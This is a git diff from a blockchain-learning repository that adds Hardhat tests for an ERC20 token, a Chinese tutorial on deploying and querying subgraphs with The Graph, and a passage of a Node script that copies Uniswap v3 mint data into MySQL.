+++ b/defi/Uniswap-V3/frontGuide/sdk/test/erc20-all-test.js
@@ -0,0 +1,100 @@
+const { expect } = require("chai");
+
+// `describe` is a Mocha function that allows you to organize your tests. It's
+// not actually needed, but having your tests organized makes debugging them
+// easier. All Mocha functions are available in the global scope.
+
+// `describe` receives the name of a section of your test suite, and a callback.
+// The callback must define the tests of that section. This callback can't be
+// an async function.
+describe("Token contract", function () {
+  // Mocha has four functions that let you hook into the  test runner's
+  // lifecyle. These are: `before`, `beforeEach`, `after`, `afterEach`.
+
+  // They're very useful to setup the environment for tests, and to clean it
+  // up after they run.
+
+  // A common pattern is to declare some variables, and assign them in the
+  // `before` and `beforeEach` callbacks.
+
+  let Token;
+  let hardhatToken;
+  let owner;
+  let addr1;
+  let addr2;
+  let addrs;
+
+  // `beforeEach` will run before each test, re-deploying the contract every
+  // time. It receives a callback, which can be async.
+  beforeEach(async function () {
+    // Get the ContractFactory and Signers here.
+    Token = await ethers.getContractFactory("SimpleToken");
+    [owner, addr1, addr2, ...addrs] = await ethers.getSigners();
+
+    // To deploy our contract, we just have to call Token.deploy() and await
+    // for it to be deployed(), which happens onces its transaction has been
+    // mined.
+    hardhatToken = await Token.deploy("HEHE", "HH", 1, 100000000);
+  });
+
+  // You can nest describe calls to create subsections.
+  describe("Deployment", function () {
+    // `it` is another Mocha function. This is the one you use to define your
+    // tests. It receives the test name, and a callback function.
+
+    it("Should assign the total supply of tokens to the owner", async function () {
+      const ownerBalance = await hardhatToken.balanceOf(owner.address);
+      expect(await hardhatToken.totalSupply()).to.equal(ownerBalance);
+    });
+  });
+
+  describe("Transactions", function () {
+    it("Should transfer tokens between accounts", async function () {
+      // Transfer 50 tokens from owner to addr1
+      await hardhatToken.transfer(addr1.address, 50);
+      const addr1Balance = await hardhatToken.balanceOf(addr1.address);
+      expect(addr1Balance).to.equal(50);
+
+      // Transfer 50 tokens from addr1 to addr2
+      // We use .connect(signer) to send a transaction from another account
+      await hardhatToken.connect(addr1).transfer(addr2.address, 50);
+      const addr2Balance = await hardhatToken.balanceOf(addr2.address);
+      expect(addr2Balance).to.equal(50);
+    });
+
+    it("Should fail if sender doesn’t have enough tokens", async function () {
+      const initialOwnerBalance = await hardhatToken.balanceOf(owner.address);
+
+      // Try to send 1 token from addr1 (0 tokens) to owner (1000 tokens).
+      // `require` will evaluate false and revert the transaction.
+      await expect(
+          hardhatToken.connect(addr1).transfer(owner.address, 1)
+      ).to.be.revertedWith("ERC20: transfer amount exceeds balance");
+
+      // Owner balance shouldn't have changed.
+      expect(await hardhatToken.balanceOf(owner.address)).to.equal(
+          initialOwnerBalance
+      );
+    });
+
+    it("Should update balances after transfers", async function () {
+      const initialOwnerBalance = await hardhatToken.balanceOf(owner.address);
+
+      // Transfer 100 tokens from owner to addr1.
+      await hardhatToken.transfer(addr1.address, 100);
+
+      // Transfer another 50 tokens from owner to addr2.
+      await hardhatToken.transfer(addr2.address, 50);
+
+      // Check balances.
+      const finalOwnerBalance = await hardhatToken.balanceOf(owner.address);
+      expect(finalOwnerBalance).to.equal(initialOwnerBalance - 150);
+
+      const addr1Balance = await hardhatToken.balanceOf(addr1.address);
+      expect(addr1Balance).to.equal(100);
+
+      const addr2Balance = await hardhatToken.balanceOf(addr2.address);
+      expect(addr2Balance).to.equal(50);
+    });
+  });
+});
\ No newline at end of file
diff --git a/defi/Uniswap-V3/frontGuide/sdk/test/erc20-test.js b/defi/Uniswap-V3/frontGuide/sdk/test/erc20-test.js
new file mode 100644
index 000000000..ce85e1bc8
--- /dev/null
+++ b/defi/Uniswap-V3/frontGuide/sdk/test/erc20-test.js
@@ -0,0 +1,32 @@
+const { expect } = require("chai");
+
+describe("Token contract", function() {
+  it("Deployment should assign the total supply of tokens to the owner", async function() {
+    const [owner] = await ethers.getSigners();
+    console.log(owner.address)
+    const Token = await ethers.getContractFactory("SimpleToken");
+
+    const hardhatToken = await Token.deploy("HEHE", "HH", 1, 100000000);
+
+    const ownerBalance = await hardhatToken.balanceOf(owner.address);
+    expect(await hardhatToken.totalSupply()).to.equal(ownerBalance);
+  });
+
+  it("Should transfer tokens between accounts", async function() {
+    const [owner, addr1, addr2] = await ethers.getSigners();
+    console.log(owner.address)
+    console.log(addr1.address)
+    console.log(addr2.address)
+    const Token = await ethers.getContractFactory("SimpleToken");
+
+    const hardhatToken = await Token.deploy("HEHE", "HH", 1, 100000000);
+
+    // Transfer 50 tokens from owner to addr1
+    await hardhatToken.transfer(addr1.address, 50);
+    expect(await hardhatToken.balanceOf(addr1.address)).to.equal(50);
+
+    // Transfer 50 tokens from addr1 to addr2
+    await hardhatToken.connect(addr1).transfer(addr2.address, 50);
+    expect(await hardhatToken.balanceOf(addr2.address)).to.equal(50);
+  });
+});
diff --git a/defi/Uniswap-V3/frontGuide/sdk/test/greeter-test.ts b/defi/Uniswap-V3/frontGuide/sdk/test/greeter-test.ts
new file mode 100644
index 000000000..183c6a1a5
--- /dev/null
+++ b/defi/Uniswap-V3/frontGuide/sdk/test/greeter-test.ts
@@ -0,0 +1,16 @@
+
+import { ethers } from "hardhat";
+import { Signer } from "ethers";
+
+describe("Greeter", function() {
+  it("Should return the new greeting once it's changed", async function() {
+    const Greeter = await ethers.getContractFactory("Greeter");
+    const greeter = await Greeter.deploy("Hello, world!");
+    
+    await greeter.deployed();
+    expect(await greeter.greet()).to.equal("Hello, world!");
+
+    await greeter.setGreeting("Hola, mundo!");
+    expect(await greeter.greet()).to.equal("Hola, mundo!");
+  });
+});
diff --git a/defi/Uniswap-V3/frontGuide/sdk/tsconfig.json b/defi/Uniswap-V3/frontGuide/sdk/tsconfig.json
new file mode 100644
index 000000000..aeac56f52
--- /dev/null
+++ b/defi/Uniswap-V3/frontGuide/sdk/tsconfig.json
@@ -0,0 +1,12 @@
+{
+  "compilerOptions": {
+    "target": "es2018",
+    "module": "commonjs",
+    "strict": true,
+    "esModuleInterop": true,
+    "resolveJsonModule": true,
+    "outDir": "dist"
+  },
+  "include": ["./scripts", "./test"],
+  "files": ["./hardhat.config.ts"]
+}
diff --git a/defi/Uniswap-V3/graphGuide/graphGuide.md b/defi/Uniswap-V3/graphGuide/graphGuide.md
new file mode 100644
index 000000000..5378f0873
--- /dev/null
+++ b/defi/Uniswap-V3/graphGuide/graphGuide.md
@@ -0,0 +1,648 @@
+# Graph 实操详解 
+## 本地部署  
+1.  安装 ganache-cli  
+```
+# NPM
+$ npm install -g truffle ganache-cli
+
+# Yarn
+$ yarn global add truffle ganache-cli
+``` 
+
+2.  启动 ganache-cli 
+这里需要使用 -h 参数进行启动, 保证 
+```
+ganache-cli -h 0.0.0.0
+```
+
+3.  clone graph node 
+```
+git clone https://github.com/graphprotocol/graph-node/  
+```
+
+4.  配置 docker-compose.yml IP 参数  
+```
+cd graph-node/docker 
+./setup.sh 
+```
+
+这里需要注意的是, 执行 setup.sh 脚本后, graph-node/docker/docker-compose.yml 中 ethereum 配置的 IP 不一定是正确的, 需要手工再 double check 下, 否则后面 graph-node 连接 ganache-cli 会报错. 具体检查方法如下:   
+执行如下命令, 在输出的网卡 IP 中找到内网 IP 地址, （ 如 10.39.204.30 ) , 然后使用这个内网 IP 替换 docker-compose.yml 中的 IP 地址. 或是后面 graph-node 启动后, 进入到 graph-node 容器中, 然后依次 telnet 在 ifconfig 中显示的 IP 地址 ( telnet 对应的端口为 8545, 即 ganache-cli 的端口 ), 看哪个端口联通正常
+```
+% ifconfig
+en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
+	options=400<CHANNEL_IO>
+	ether 88:66:5a:4a:c6:b9
+	inet6 fe80::c21:5190:32d4:7e6a%en0 prefixlen 64 secured scopeid 0x6
+	inet 10.39.204.30 netmask 0xffffff00 broadcast 10.39.204.255
+	nd6 options=201<PERFORMNUD,DAD>
+	media: autoselect
+	status: active
+```
+
+5.  启动 graph node  
+通过上一个步骤, 成功配置 graph node 中 ganache-cli 的连接 IP/端口 后, 就可以执行如下命令启动 graph node 
+```
+docker-compose up
+```
+
+6.  安装 ganache-cli 依然包
+```
+# NPM
+$ npm install -g @graphprotocol/graph-cli
+
+# Yarn
+$ yarn global add @graphprotocol/graph-cli
+```
+
+7.  初始化 subgraph 
+新开命令窗口, 然后到任意一个空目录下, 执行如下命令 
+```
+graph init --from-example dappLearning/graphtest localgraph 
+```
+
+8.  编译 & 部署合约 
+```
+truffle compile
+truffle migrate
+```
+
+9.  获取 GravatarRegistry 合约地址 
+上述命令 "truffle migrate" 会自动部署 GravatarRegistry 到 ganache, 输入类似如下的信息. 这里我们获取 GravatarRegistry 合约地址 "0x7D1bb47Ca7e571A2443F816074df9c875BB2Ca5E" 以便进行后续操作 
+```
+2_deploy_contract.js
+====================
+
+   Deploying 'GravatarRegistry'
+   ----------------------------
+   > transaction hash:    0x464f7205d60406530e6860d51c959dba91b0f20f0207971358dedf721e9c440c
+   > Blocks: 0            Seconds: 0
+   > contract address:    0x7D1bb47Ca7e571A2443F816074df9c875BB2Ca5E
+   > block number:        3
+   > block timestamp:     1628484437
+   > account:             0xA2A07204ABdE98C2F2786f26e9B0F9a7d33b8bdb
+   > balance:             99.97009828
+   > gas used:            1214144 (0x1286c0)
+   > gas price:           20 gwei
+   > value sent:          0 ETH
+   > total cost:          0.02428288 ETH
+```
+
+10. 修改 subgraph.yaml 配置 
+使用上一个操作获取到的 GravatarRegistry 合约地址 ( 0x7D1bb47Ca7e571A2443F816074df9c875BB2Ca5E ) 进行如下操作
+```
+sed -i -e \
+    's/0x2E645469f354BB4F5c8a05B3b30A929361cf77eC/0x7D1bb47Ca7e571A2443F816074df9c875BB2Ca5E/g' \
+    subgraph.yaml
+
+```
+
+11. 安装依赖 & 生成 graph 代码 
+```
+yarn && yarn codegen
+```
+
+12. 在 graph node 中创建 subgraph 
+```
+yarn create-local
+```
+
+13. 部署 subgraph code 到对应的 subgraph 中 
+```
+yarn deploy-local
+```
+
+14. clone dapp 前端样例代码 
+新开终端命令窗口, 然后执行如下命令 
+```
+git clone https://github.com/graphprotocol/ethdenver-dapp/  
+```
+
+15. 配置环境变量 
+```
+cd ethdenver-dapp
+echo 'REACT_APP_GRAPHQL_ENDPOINT=http://localhost:8000/subgraphs/name/dappLearning/graphtest' > .env
+```
+
+16. 启动前端 
+```
+yarn && yarn start
+``` 
+
+## 第三方托管 
+1.  安装相关依赖
+
+    ```
+    yarn install
+    ```
+
+2. 配置私钥
+
+    为方便获取，在 .env 中放入的私钥，格式为 "PRIVATE_KEY=xxxx", 然后代码自动从中读取<br>
+    另外需要设置你的 infura 节点 id，在 .env 中放入的私钥，格式为 "INFURA_ID=xxxx"
+
+3. 部署合约(用于测试graph的简单合约)
+
+    ```
+    npx hardhat run ./scripts/deploy.js --network kovan
+    ```
+
+    输出信息类似如下:
+
+    ```
+    Deploying contracts with the account: xxxxxxxxxxxxxx
+    Account balance: 10000000000000000000000
+    Token address: 0x5FbDB2315678afecb367f032d93F642f64180aa3
+    Transfer 50 to receiver  0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
+    Account balance of receiver is:  50
+    ```
+
+4. TheGraph 创建一个 Subgraph 空间
+    
+    因为需要借助 TheGraph 的节点来完成数据的索引，因此我们需要在 [TheGraph Studio](https://thegraph.com/studio/) 上创建一个 Subgraph。
+
+    如果没有 The Graph 的账户，可以直接连接钱包注册，账户名即为钱包地址，以下称之为`<THEGRAPH_USERNAME>`。
+    
+    批准钱包签名之后，会跳转到 `My Subgraphs` 面板，点击 `Create a Subgraph` 按钮。
+    ![create_subgraph_btn](./imgs/create_subgraph_btn.png)
+
+    输入你的项目名称(例如TEST01)，以下称之为 `<SUBGRAPH_NAME>`，点击 continue 按钮，之后会跳转到subgraph的项目主页
+
+
+5. 开发和部署 subgraph  
+  
+    先使用 yarn 在全局安装 Graph CLI
+
+    ```bash
+    yarn global add @graphprotocol/graph-cli
+    ```
+
+6. 初始化配置:
+
+    ```bash
+    graph init --studio <SUBGRAPH_NAME>
+    ```
+
+    - 在 "Subgraph name" 和 "Directory to create the subgraph" 直接回车即可
+    - Ethereum network 这里选择 kovan
+    - "Contract address" 这里输入在步骤 3 中部署合约时生成的合约地址
+    - 上面执行到 "fetch ABI from Etherscan" 时会报执行失败，然后出现 "ABI file (path)" 字样，提示输入本机中 abi 的文件路径，这里我们输入 SimpleToken.json 所在的路径即可(`./abis/SimpleToken.json`)
+    - 如果yarn install 失败(例如网络错误)，可以进入新生成的项目目录，手动安装npm依赖
+
+    <br>
+
+
+7. 修改定义模式
+
+    - 两个文件的修改范例在 `./scripts/schema.graphql` 和 `./scripts/mapping.ts`
+
+    - `<SUBGRAPH_NAME>/schema.graphql`  修改文件内容如下
+
+        ```graphql
+        type TransferEntity @entity {
+          id: ID!
+          from: Bytes! # address
+          to: Bytes! # address
+          value: BigInt! 
+        }
+
+
+        type ApprovalEntity @entity {
+          id: ID!
+          owner: Bytes! # address
+          spender: Bytes! # address
+          value: BigInt! 
+        }
+        ```
+
+    - `<SUBGRAPH_NAME>/src/mapping.ts` 修改文件内容如下
+
+        ```ts
+        import { BigInt } from "@graphprotocol/graph-ts"
+        import {
+          SimpleToken,
+          Transfer,
+          Approval
+        } from "../generated/SimpleToken/SimpleToken"
+        import { TransferEntity,ApprovalEntity } from "../generated/schema"
+
+        export function handleTransfer(event: Transfer): void {
+          // Entities can be loaded from the store using a string ID; this ID
+          // needs to be unique across all entities of the same type
+          let entity = TransferEntity.load(event.transaction.from.toHex())
+
+          // Entities only exist after they have been saved to the store;
+          // `null` checks allow to create entities on demand
+          if (entity == null) {
+            entity = new TransferEntity(event.transaction.from.toHex())
+            
+          }
+
+          // BigInt and BigDecimal math are supported
+          entity.value = event.params.value
+
+          // Entity fields can be set based on event parameters
+          entity.from = event.params.from
+          entity.to = event.params.to
+
+          // Entities can be written to the store with `.save()`
+          entity.save()
+
+          // Note: If a handler doesn't require existing field values, it is faster
+          // _not_ to load the entity from the store. Instead, create it fresh with
+          // `new Entity(...)`, set the fields that should be updated and save the
+          // entity back to the store. Fields that were not set or unset remain
+          // unchanged, allowing for partial updates to be applied.
+
+          // It is also possible to access smart contracts from mappings. For
+          // example, the contract that has emitted the event can be connected to
+          // with:
+          //
+          // let contract = Contract.bind(event.address)
+          //
+          // The following functions can then be called on this contract to access
+          // state variables and other data:
+          //
+          // - contract.approve(...)
+          // - contract.totalSupply(...)
+          // - contract.transferFrom(...)
+          // - contract.increaseAllowance(...)
+          // - contract.balanceOf(...)
+          // - contract.decreaseAllowance(...)
+          // - contract.transfer(...)
+          // - contract.allowance(...)
+        }
+
+        export function handleApproval(event: Approval): void {
+          // Entities can be loaded from the store using a string ID; this ID
+          // needs to be unique across all entities of the same type
+          let entity = ApprovalEntity.load(event.transaction.from.toHex())
+
+          // Entities only exist after they have been saved to the store;
+          // `null` checks allow to create entities on demand
+          if (entity == null) {
+            entity = new ApprovalEntity(event.transaction.from.toHex())
+            
+          }
+
+          // BigInt and BigDecimal math are supported
+          entity.value = event.params.value
+
+          // Entity fields can be set based on event parameters
+          entity.owner = event.params.owner
+          entity.spender = event.params.spender
+
+          // Entities can be written to the store with `.save()`
+          entity.save()
+        }
+
+        ```
+
+8. 修改实体名字
+
+    - 进入 graphtest 目录
+    - 修改 subgraph.yaml 中 entities 定义如下
+
+    ```yaml
+    ...
+    entities:
+      - TransferEntity
+      - ApprovalEntity
+    ...
+    ```
+
+9. 授权和部署 Subgraph
+
+    首先获取你的`<DEPLOY KEY>`，在你的subgraph项目主页可以找到：
+    ![auth_deploy_key](./imgs/auth_deploy_key.png)
+
+    - 授权
+
+      ```bash
+      graph auth --studio <DEPLOY KEY>
+      ```
+
+    - 进入subgraph的本地目录
+
+      ```bash
+      cd ./<SUBGRAPH_NAME>
+      ```
+    
+    - BUILD SUBGRAPH
+
+      ```bash
+      graph codegen && graph build
+      ```
+
+    - DEPLOY SUBGRAPH
+
+      ```bash
+      graph deploy --studio <SUBGRAPH_NAME>
+      ```
+
+      - 这里必须输入 `Version Label` , 比如`0.0.1`， 否则会报错提示 `You must provide a version label.`
+
+
+
+### 检验subgraph是否部署成功
+
+从subgraphs面板进入你的subgraph项目主页， 查看索引进度，当进度100%可以开始调用。
+
+这里已经预生成了一个示例请求，点击播放按钮即可请求数据。至此subgraph部署成功
+
+![query_subgraph](./imgs/query_subgraph.png)
+
+### subgraph
+
+subgraph 定义了你希望通过 GraphQL API 提供的数据、数据源和数据访问模式。开发者可以选择直接使用别人已经部署[17]的 subgraph，或者自己定义并部署 subgraph。
+
+1. GraphQL Schema  
+   GraphQL Schema 定义了你想保存和查询的数据类型/实体。也可定义如关系或全文搜索的配置项。
+2. subgraph 清单（ yaml 配置）  
+   manifest 定义了 subgraph 索引的智能合约、合约的 ABI、关注这些合约的事件，以及如何将事件数据映射到 Graph 节点存储并允许查询。
+3. AssemblyScript 映射  
+   AssemblyScript 映射允许您使用 schema 中定义的实体类型保存要索引的数据。Graph CLI 还使用 schema 与智能合约的 ABI 的组合生成 AssemblyScript 类型。
+4. 通过@derivedFrom 建立关系  
+   通过@derivedFrom 字段在实体上定义反向查询，这样就在实体上创建了一个虚拟字段，使它可以被查询，但不能通过映射 API 手动设置。实际上，这是从另一个实体上定义的关系中衍生出来的。这样的关系，对存储关系的两者意义不大，如果只存储一方而派生另一方，则索引和查询性能都会更好。 
+
+
+## subgrap 配置文件解析  
+1. subgraph.yaml  
+```yaml 
+## 指示当前使用的 graph 解析 API 所使用的版本
+specVersion: 0.0.2  
+
+## 描述此 subgraph 的作用目的  ( 可选项 )
+description: Gravatar for Ethereum   
+
+## 一个链接指向, 指示此 subgraph 存放的仓库地址 ( 可选项 )
+repository: https://github.com/graphprotocol/example-subgraph  
+
+## 此 subgraph 的模式定义 
+schema:  
+  ## 模式定义文件路径  
+  file: ./schema.graphql  
+
+## 数据源定义 
+dataSources:
+  ## 描述数据源的数据类型，这里表示数据源是以太坊的合约
+  - kind: ethereum/contract
+    ## 数据源的名字 
+    name: Gravity
+    ## 数据源所在的区块链网络，这里 mainnet 表示的是主网 
+    network: mainnet
+    ## 数据源在区块链网络上的具体相关信息
+    source:
+      ## 数据源所在的合约地址
+      address: '0x2E645469f354BB4F5c8a05B3b30A929361cf77eC'
+      ## 合约对应的 abi 名字，具体对应到下面 mapping/abis 中的 name 所指示的 ABI 名字 
+      abi: Gravity
+      ## 进行索引的起始区块
+      startBlock: 1000
+    ## 数据源字段映射
+    mapping:
+      ## 目前为固定值，这里只能填写 ethereum/events
+      kind: ethereum/events
+      ## 解析映射所使用的 API 版本 
+      apiVersion: 0.0.4 
+      ## Mapping API 解析映射时所使用的语言，当前可填写的值只有 wasm/assemblyscript. 
+      language: wasm/assemblyscript
+      ## 实体定义
+      entities:
+        ## 实体的名字，需要和 schema.graphql 中的名字对应
+        - Gravatar
+      ##  contract 对应的 ABI 文件信息
+      abis:
+        ## contract 名字
+        - name: Gravity
+          ## contract 对应的 abi 文件路径
+          file: ./abis/Gravity.json
+      ## 合于事件对应的处理映射信息
+      eventHandlers:
+        ## event 的名字
+        - event: NewGravatar(uint256,address,string,string)
+          ## event 对应在 mapping.ts 文件中的处理函数
+          handler: handleNewGravatar
+        - event: UpdatedGravatar(uint256,address,string,string)
+          handler: handleUpdatedGravatar
+      ## mapping.ts 文件存放路径
+      file: ./src/mapping.ts
+``` 
+
+
+2. schema.graphql   
+实体定义的文件, 使用 GraphQL 接口定义语言, 具体参考网上相关文档   
+```graphql
+type Gravatar @entity {
+  id: ID!
+  owner: Bytes!
+  displayName: String!
+  imageUrl: String!
+}
+```
+
+3. mapping.ts    
+定义如何转换区块数据到实体数据   
+```ts
+import { NewGravatar, UpdatedGravatar } from '../generated/Gravity/Gravity'
+import { Gravatar } from '../generated/schema'
+
+export function handleNewGravatar(event: NewGravatar): void {
+  let gravatar = new Gravatar(event.params.id.toHex())
+  gravatar.owner = event.params.owner
+  gravatar.displayName = event.params.displayName
+  gravatar.imageUrl = event.params.imageUrl
+  gravatar.save()
+}
+
+export function handleUpdatedGravatar(event: UpdatedGravatar): void {
+  let id = event.params.id.toHex()
+  let gravatar = Gravatar.load(id)
+  if (gravatar == null) {
+    gravatar = new Gravatar(id)
+  }
+  gravatar.owner = event.params.owner
+  gravatar.displayName = event.params.displayName
+  gravatar.imageUrl = event.params.imageUrl
+  gravatar.save()
+}
+
+```
+
+## 在 mapping.ts 中处理合约,区块等相关数据    
+### ethereum API    
+可以用来和以太坊合约, events 事件, 区块, 交易 进行交互, 获取相应的数据  
+Event 代码定义如下 ( 可以在 vscode 中查看具体的 Event 及各字段的定义信息  )
+```ts
+  // 定义 event 
+  class Event {
+    // 发出此 event 的合约地址
+    address: Address
+    // 此事件在 logs 中的 index 索引 
+    logIndex: BigInt
+    transactionLogIndex: BigInt
+    logType: string | null
+    // 发出此事件对应的区块
+    block: Block
+    // 发出此事件对应的交易 
+    transaction: Transaction
+    // 事件触发时传入的各个参数值  
+    parameters: Array<EventParam>
+  }
+```
+
+- 获取 event 数据   
+以 "event NewGravatar(uint id, address owner, string displayName, string imageUrl)" 为例
+    - 获取 evnet 中的 owner 参数值  
+      event.params.owner   
+    - 获取 evnet 中的 displayName 参数值  
+      event.params.owner  
+
+- 访问合约状态变量  
+```ts      
+// 根据发出事件的合约地址, 构造合约   
+let contract = ERC20Contract.bind(event.address)
+// 使用函数访问的形式， 访问合约的公共状态变量 ( symbol )
+let erc20Symbol = contract.symbol() 
+
+// 访问 mapping 类型的状态变量
+// 举例: mapping(address => mapping(address => mapping(uint24 => address))) public override getPool;
+contract.getPool(address1, address2, address3) 
+```    
+
+- 实体交互     
+```ts
+// 创建实体  
+let id = event.params.id.toHex()
+let gravatar = new Gravatar(id)
+
+// 保存实体 
+gravatar.save() 
+
+// 加载实体  
+gravatar = Gravatar.load(id)
+
+// 删除实体 
+store.remove('Gravatar', id)
+```
+
+- 交易信息访问  
+```ts
+// 获取发生此 event 事件的 交易 hash
+let id = event.transaction.hash.toHex()
+```
+
+- 区块访问  
+```ts
+// 获取区块的 hash 值
+let blockHash =  event.block.hash.toHexString()
+```
+
+- 其他 API 交互 
+```ts
+// 日志打印
+log.debug('Block number: {}, block hash: {}, transaction hash: {}', [
+    event.block.number.toString(), // "47596000"
+    event.block.hash.toHexString(), // "0x..."
+    event.transaction.hash.toHexString(), // "0x..."
+  ])
+
+// IPFS 数据读取
+let hash = 'QmTkzDwWqPbnAh5YiV5VwcTLnGdwSNsNTn2aDxdXBFca7D'
+let data = ipfs.cat(hash)
+```
+
+- uniswap v3 subgraph 
+github 上已经有实现的 uniswap v3 subgraph, 可以参考这个 subgraph 实现来定制自己需要的 subgraph      
+https://github.com/Uniswap/uniswap-v3-subgraph  
+
+
+## 通过 TheGraph 查询   
+以 uniswap v3 为例, 登陆如下网址, 即可查看 uniswap v3 相关数据   
+https://thegraph.com/legacy-explorer/subgraph/uniswap/uniswap-v3     
+
+- 普通查询  
+输入如下查询 graphql 查询语句, 点击查询,
+```graphql
+{
+  positions {
+    id
+    pool {
+      id
+    }
+    owner
+    liquidity
+    transaction {
+      id
+      gasUsed
+      gasPrice
+      timestamp
+    }
+
+    depositedToken0
+    depositedToken1
+    withdrawnToken0
+    withdrawnToken1
+    collectedFeesToken0
+    collectedFeesToken1
+  }
+}
+```
+![querypositions](./imgs/querypositions.png)  
+
+- 条件查询  
+The Graph 提供了条件过滤查询功能, 可以在查询时输入过滤条件. 具体支持的过滤条件可以查看官网说明   
+https://thegraph.com/docs/developer/graphql-api  
+![conditionquery](./imgs/conditionquery.png)   
+
+- 注意事项  
+使用 The Graph 进行查询时, 有一点需要注意的是, 查询语句是区分单复数的. 如下的查询语句中, "pools" 这个单词用的是复数形式, 如果使用单数的 "pool" 进行查询的话则会报错. 同理, 对于实体中的子实体, 同样要注意单复数之分. 
+```
+{
+  pools{
+    id
+    burns{
+      id
+      origin
+      timestamp
+      owner
+      amount0
+      amount1
+      amountUSD
+      tickLower
+    }
+  }
+}
+```
+
+## Node.js 中查询 graph 数据     
+在 Dapp 或是 Node.js 脚本中, 也经常需要查询 graph 数据. 在 scripts 目录中给出了一个样例的 node 脚本, 从 The Graph 中获取数据. 因为还没有实践过在 Dapp 中集成 graph, 所以这里暂不提供 Dapp 的 graph 样例代码.  
+需要注意的是, 使用 graph API 从 The Graph 获取数据时, 默认是返回 100 条数据, 即使数据总量超过 100 条, 达到 1W 条. 因此在样例代码中, 使用 "first:1000" 强制 The Graph 返回 1000 条数据.   
+```ts
+const query_position = gql`query($_pool_id: String, $_timestamp_gt: Int){
+  pools(where : {id : $_pool_id } ) {
+    id
+    mints( where: {timestamp_gt : $_timestamp_gt } , first:1000 , orderBy: timestamp){
+      id
+      timestamp
+      owner
+      origin
+      amount
+      amount0
+      amount1
+      amountUSD
+      tickLower
+      tickUpper
+      transaction {
+        id
+        gasUsed
+        gasPrice
+      }
+    }
+  }
+}`;
+```
+
+## 参考链接   
+https://github.com/graphprotocol/graph-node/blob/master/docs/subgraph-manifest.md  
+https://learnblockchain.cn/article/2632  
\ No newline at end of file
diff --git a/defi/Uniswap-V3/graphGuide/imgs/auth_deploy_key.png b/defi/Uniswap-V3/graphGuide/imgs/auth_deploy_key.png
new file mode 100644
index 000000000..a2dfe62e4
Binary files /dev/null and b/defi/Uniswap-V3/graphGuide/imgs/auth_deploy_key.png differ
diff --git a/defi/Uniswap-V3/graphGuide/imgs/conditionquery.png b/defi/Uniswap-V3/graphGuide/imgs/conditionquery.png
new file mode 100644
index 000000000..64c87f746
Binary files /dev/null and b/defi/Uniswap-V3/graphGuide/imgs/conditionquery.png differ
diff --git a/defi/Uniswap-V3/graphGuide/imgs/create_subgraph_btn.png b/defi/Uniswap-V3/graphGuide/imgs/create_subgraph_btn.png
new file mode 100644
index 000000000..c0ae3c7dd
Binary files /dev/null and b/defi/Uniswap-V3/graphGuide/imgs/create_subgraph_btn.png differ
diff --git a/defi/Uniswap-V3/graphGuide/imgs/query_subgraph.png b/defi/Uniswap-V3/graphGuide/imgs/query_subgraph.png
new file mode 100644
index 000000000..31e9e45a8
Binary files /dev/null and b/defi/Uniswap-V3/graphGuide/imgs/query_subgraph.png differ
diff --git a/defi/Uniswap-V3/graphGuide/imgs/querypositions.png b/defi/Uniswap-V3/graphGuide/imgs/querypositions.png
new file mode 100644
index 000000000..93cc08523
Binary files /dev/null and b/defi/Uniswap-V3/graphGuide/imgs/querypositions.png differ
diff --git a/defi/Uniswap-V3/graphGuide/scripts/fetchMints.js b/defi/Uniswap-V3/graphGuide/scripts/fetchMints.js
new file mode 100644
index 000000000..8c8c9197b
--- /dev/null
+++ b/defi/Uniswap-V3/graphGuide/scripts/fetchMints.js
@@ -0,0 +1,128 @@
+const { execute, makePromise } = require('apollo-link');
+const { HttpLink } = require('apollo-link-http');
+const gql = require('graphql-tag');
+const fetch = require('node-fetch');
+const mysql  = require('mysql');  
+const sqlVariables = require('./sqlVariables.json')
+ 
+const query_position = gql`query($_pool_id: String, $_timestamp_gt: Int){
+  pools(where : {id : $_pool_id } ) {
+    id
+    mints( where: {timestamp_gt : $_timestamp_gt } , first:1000 , orderBy: timestamp){
+      id
+      timestamp
+      owner
+      origin
+      amount
+      amount0
+      amount1
+      amountUSD
+      tickLower
+      tickUpper
+      transaction {
+        id
+        gasUsed
+        gasPrice
+      }
+    }
+  }
+}`;
+
+const variables = {
+  '_pool_id': sqlVariables._pool_id,
+  '_origin': sqlVariables._owner,
+  '_timestamp_gt': 0
+};
+  
+
+const uri = 'https://api.thegraph.com/subgraphs/name/benesjan/uniswap-v3-subgraph';
+
+
+const link = new HttpLink({ uri, fetch });
+
+const operation = {
+    query: query_position,
+    variables, //optional
+  };
+
+
+
+let connection = mysql.createConnection({
+  host : sqlVariables.host,
+  user : sqlVariables.user, 
+  password : sqlVariables.password,
+  database : sqlVariables.database
+});
+
+connection.connect(function(err) {
+  if (err) {
+    console.error('连接失败: ' + err.stack);
+    return;
+  }
+  console.log('连接成功 id ' + connection.threadId);
+});
+
+
+var _timestamp_gt = 0;
+
+
+function updateTrace(){
+  connection.query('update trace set filter = ? where target = ?',[_timestamp_gt,'mints'], (err, results) => {
+    if(err){
+      console.log("update trace failed: ", err)
+    }
+    fetchMore()
+  })
+}
+
+
+function fetchMore(){
+    variables._timestamp_gt = _timestamp_gt
+    console.log("Current TimeStamp: ",_timestamp_gt)
+    execute(link, operation).subscribe({
+      next: res => {
+        console.log("query result is ",res)
+        let obj = res.data.pools
+        if(!obj){
+          connection.end()
+          process.exit(0)
+        }
+
+        Object.keys(obj[0].mints).forEach(m => {
+          connection.query('INSERT INTO mints(id,pool_id, mint_timestamp, owner, origin, amount, mint_amount0, mint_amount1, mint_amountUSD, mint_tickLower, mint_tickUpper, mint_transaction_id, mint_transaction_gasUsed, mint_transaction_gasPrice) \
+              VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?)', [obj[0].mints[m].id,obj[0].id, obj[0].mints[m].timestamp, obj[0].mints[m].owner, obj[0].mints[m].origin,parseInt(obj[0].mints[m].amount), parseFloat(obj[0].mints[m].amount0), parseFloat(obj[0].mints[m].amount1), parseFloat(obj[0].mints[m].amountUSD), parseInt(obj[0].mints[m].tickLower), parseInt(obj[0].mints[m].tickUpper), obj[0].mints[m].transaction.id,
+               obj[0].mints[m].transaction.id, obj[0].mints[m].transaction.gasUsed,parseInt(obj[0].mints[m].transaction.gasPrice)], (err, results) => {
+              if(err){
+                  console.log(err);
+              }
+            })
+
+            if(obj[0].mints[m].timestamp > _timestamp_gt){
+              _timestamp_gt = parseInt(obj[0].mints[m].timestamp)
+            }
+        })
+  
+        if(obj[0].mints.length != 1000){
